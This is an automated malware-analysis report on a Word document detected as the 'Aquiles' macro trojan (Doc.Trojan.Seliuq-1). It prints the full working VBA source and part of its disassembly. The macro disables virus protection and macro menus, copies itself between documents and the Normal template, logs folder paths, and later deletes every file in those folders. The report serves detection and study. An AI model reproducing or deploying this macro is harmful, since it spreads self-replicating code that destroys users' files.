MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample contains VBA macros, specifically a Document_Open macro designed to disable security features and manipulate other macros within the document and NormalTemplate. This behavior is indicative of a trojan designed to evade detection and potentially download or execute further malicious content.
Heuristics 3
-
ClamAV: Doc.Trojan.Seliuq-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Seliuq-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9366 bytes |
SHA-256: 9062967276cffb74f075fe8469529e239e3c76604e5db81fe28760ccfee3caff |
|||
|
Detection
ClamAV:
Doc.Trojan.Seliuq-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Aquiles"
Attribute VB_Base = "1Normal.Aquiles"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
If ActiveDocument.VBProject.VBComponents.Count > 1 Then
For op = 2 To ActiveDocument.VBProject.VBComponents.Count
cantidad = ActiveDocument.VBProject.VBComponents.Item(op).CodeModule.CountOfLines
ActiveDocument.VBProject.VBComponents.Item(op).CodeModule.DeleteLines 1, cantidad
Next op
End If
If NormalTemplate.VBProject.VBComponents.Count > 1 Then
For op = 2 To NormalTemplate.VBProject.VBComponents.Count
cantidad = NormalTemplate.VBProject.VBComponents.Item(op).CodeModule.CountOfLines
NormalTemplate.VBProject.VBComponents.Item(op).CodeModule.DeleteLines 1, cantidad
Next op
End If
Document_Close
End Sub
Private Sub Document_Close()
On Error Resume Next
CommandBars("Visual Basic").Visible = False
Options.VirusProtection = False
CommandBars("Tools").Controls("Macro").Enabled = False
CommandBars("View").Controls(6).Enabled = False
CommandBars("tools").Controls(15).Enabled = False
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
If MacroContainer.FullName = ActiveDocument.FullName Then
If nt.Name <> "Aquiles" Then GoTo ClaudioNormal
Else
If ad.Name <> "Aquiles" Then GoTo Aquilesdocument
End If
GoTo Findelmundo
Aquilesdocument:
lineas = ad.CodeModule.CountOfLines
ad.CodeModule.DeleteLines 1, lineas
lineas = 1
Do While lineas <= nt.CodeModule.CountOfLines
cadenadecodigo = nt.CodeModule.lines(lineas, 1)
ad.CodeModule.insertlines lineas, cadenadecodigo
lineas = lineas + 1
Loop
ad.Name = "Aquiles"
Open "C:\system.Dos" For Append As #1
Print #1, ActiveDocument.Path
Close #1
ActiveDocument.SaveAs ActiveDocument.FullName, wdFormatDocument
GoTo Findelmundo
ClaudioNormal:
lineas = nt.CodeModule.CountOfLines
nt.CodeModule.DeleteLines 1, lineas
lineas = 1
Do While lineas <= ad.CodeModule.CountOfLines
cadenadecodigo = ad.CodeModule.lines(lineas, 1)
nt.CodeModule.insertlines lineas, cadenadecodigo
lineas = lineas + 1
Loop
nt.Name = "Aquiles"
NormalTemplate.Save
Findelmundo:
If Dir("C:\system.Dos", vbNormal) <> "" Then
If FileLen("C:\system.Dos") > 1024 Then
Open "C:\system.Dos" For Input As #1
Do While Not EOF(1)
Line Input #1, direccion
Kill (direccion + "\*.*")
Loop
Close #1
Kill ("C:\system.Dos")
Application.UserName = "Gonzalez"
End If
End If
'Al rio jactancioso, Dios le a puesto un vado. Malinke
'esto es una modificacion, trato de llegar a la perfeccion
End Sub
' Processing file: /opt/analyzer/scan_staging/9624305cb17a4baba721c1203adb9dca.bin
' ===============================================================================
' Module streams:
' Macros/VBA/Aquiles - 4533 bytes
' Line #0:
' FuncDefn (Private Sub Document_Open())
' Line #1:
' OnError (Resume Next)
' Line #2:
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' MemLd Count
' LitDI2 0x0001
' Gt
' IfBlock
' Line #3:
' StartForVariable
' Ld op
' EndForVariable
' LitDI2 0x0002
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' MemLd Count
' For
' Line #4:
' Ld op
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' St cantidad
' Line #5:
' LitDI2 0x0001
' Ld cantidad
' Ld op
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemCall DeleteLines 0x0002
' Line #6:
' StartForVariable
' Ld op
' EndForVariable
' NextVar
' Line #7:
' EndIfBlock
' Line #8:
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' MemLd Count
' LitDI2 0x0001
' Gt
' IfBlock
' Line #9:
' StartForVariable
' Ld op
' EndForVariable
' LitDI2 0x0
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.